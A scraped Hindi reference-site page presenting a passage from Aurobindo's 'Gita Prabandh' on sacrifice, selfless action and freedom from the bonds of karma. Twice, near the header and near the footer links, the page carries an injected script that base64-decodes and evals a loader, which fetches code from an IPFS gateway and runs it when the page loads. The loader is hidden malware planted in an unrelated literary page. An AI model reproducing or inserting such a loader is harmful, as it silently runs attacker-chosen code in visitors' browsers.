गीता प्रबंध -अरविन्द पृ. 114

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गीता-प्रबंध
12.यज्ञ-रहस्य

जो कर्म के इस विधान के विरूद्ध चलता है और अपने ही वैयक्त्कि पृथक स्वार्थ की सिद्धि के लिये कर्म करता और फल भोगता है वह व्थर्थ ही जाता है; वह जीवन के वास्तविक अर्थ और उद्देश्य और उपयोग तथा जीव की ऊध्र्वगति से वंचित रहता है ; वह उस मार्ग पर नहीं है जो परम श्रेय की और ले जाता है । परंतु परम श्रेय की प्राप्ति तब होती है जब यज्ञ देवताओं के लिये नहीं , बल्कि उन सर्वगत परमेश्वर के लिये किया जाता है जो यज्ञ मे प्रतिष्ठित हैं, देवता जिनके कनिष्ठ रूप और शक्तियां हैं, और जब यजमान अपनी काम- भोगपरायण अधमात्मा को किनारे कर अपने व्यष्टिगत कर्तृत्वभाव को सब कार्मो की यथार्थ कन्नीं प्रकृति को तथा अपने भोग के भाव को प्रकृति के सब कर्मो के यथार्थ भोक्ता परमेश्वर,परमात्मा ,जगदात्मा को, अर्पण कर देता है। वह उसी परम आत्मस्थिति में, अपने किसी व्यष्टिगत भोग में नहीं, अपना ऐकांतिक संतोष, परम तृप्ति और विशुद्ध आनंद प्राप्त करता है; उसे अब कर्म या अकर्म से कोई लाभ नहीं , वह किसी पदार्थ के लिये ने देवताओं का आश्रित है न मनुष्यों का ,वह किसी अर्थ की अभिलाषा नहीं करता; क्योंकि वह स्वात्मानंद से पूर्ण परितृप्त है; परंतु फिर भी वह केवल भगवान् के लिये, आसक्ति या कामनाओं से रहित होकर यज्ञरूप से कर्म करता है।
इस प्रकार वह समत्व को प्राप्त होता और प्रकृति के त्रिगुण से मुक्त निस्त्रैगुण्य हो जाता है । जब वह प्रकृति की कर्मधारा में कर्म करता है तब भी उसकी आत्मा प्रकृति की अस्थिरता में नहीं , बल्कि अक्षर ब्रह्म की शांति में स्थित होती है इस प्रकार यज्ञ परमपद की प्राप्ति में उसका साधन - मार्ग होता है। इसके आगे जो कुछ कहा गया है उससे यह बात स्पष्ट हो जाती है कि यज्ञ - संबधी इस प्रकरण का यही अभिप्राय है अर्थात् कर्म का ध्येय लोक - संग्रह होना चाहिये, कर्म करने वाली केवल प्रकृति ही है और भागवत पुरूष उन सब कर्मो का समान भर्ता है, तथा सब कर्म करते समय ही इस भागवत पुरूष को अर्पण करने होंगे - अंतःकरण से सब कर्मो का त्याग और फिर भी कामेन्द्रियों द्वारा उनका निष्काम बुद्धि से इस प्रकार जो कर्ममय यज्ञ किया जाता है सबका फल कर्मो के बंधनो से मुक्त होना है , ये सभी बातें इसी अभिप्राय को व्यक्त करने वाली हैं। जो व्यक्ति जो कुछ मिल जाये उसी से संतुष्ट और सफलता तौर असफलता में सम रहता है वह कर्म करके भी उसमें नहीं बंधता । जब कोई मुक्त अनासक्त पुरूष यज्ञार्थ कर्म करता है तो उसके समस्त कर्मो का लय हो जाता है ,अर्थात् वह कर्म उसकी मुक्त , शुद्ध, सिद्ध समआत्मा पर अपना कोई बंधनकारक परिणाम या संस्कार नहीं छोड़ता । हमें इस प्रसंग को फिर से देखना होगा ।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:गीता प्रबंध